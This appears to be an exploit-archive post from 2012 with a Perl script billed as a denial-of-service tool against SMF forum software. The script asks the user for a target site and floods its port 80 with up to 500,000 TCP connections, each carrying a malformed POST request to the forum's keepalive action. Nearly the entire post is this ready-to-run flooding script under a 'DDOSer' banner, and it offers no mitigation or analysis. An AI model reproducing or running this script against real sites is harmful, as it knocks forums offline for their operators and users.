SMF All Version Denial Of Service Vulnerability

2012-06-25 19:11:53
Inviato da: irist.ir

#!/usr/bin/perl
# SMF All Version Denial Of Service Vulnerability
# Www.IrIsT.Ir/forum
# Greetz to all members of IrIsT & Iranian Team

use IO::Socket;
print "###########################################################################\n";
print "# #\n";
print "# Islamic Republic Of Iran Security Team - SMF DDOSer #\n";
print "# made Www.IrIsT.Ir & Www.IrIsT.Ir/forum #\n";
print "# Greetz to all members of IrIsT & Iranian Team #\n";
print "# #\n";
print "###########################################################################\n";
print "irancell DDOSer\n";
print "Site : ";
$HOST = <STDIN>;
chop ($HOST);

$i=0;
while($i<500000){
$i++;

$lower=1;
$upper=200000;
$random = int(rand( $upper-$lower+1 ) ) + $lower;
$FILE = "111111111111111111111111111111111111111111111111111111111111111111111";
$LENGTH = length $FILE;

$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "*";
print $get1 "POST /index.php?action=keepalive HTTP/1.1\n";
print $get1 "Host: ".$HOST. "\n";
print $get1 $FILE;
syswrite STDOUT, "*";
}

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.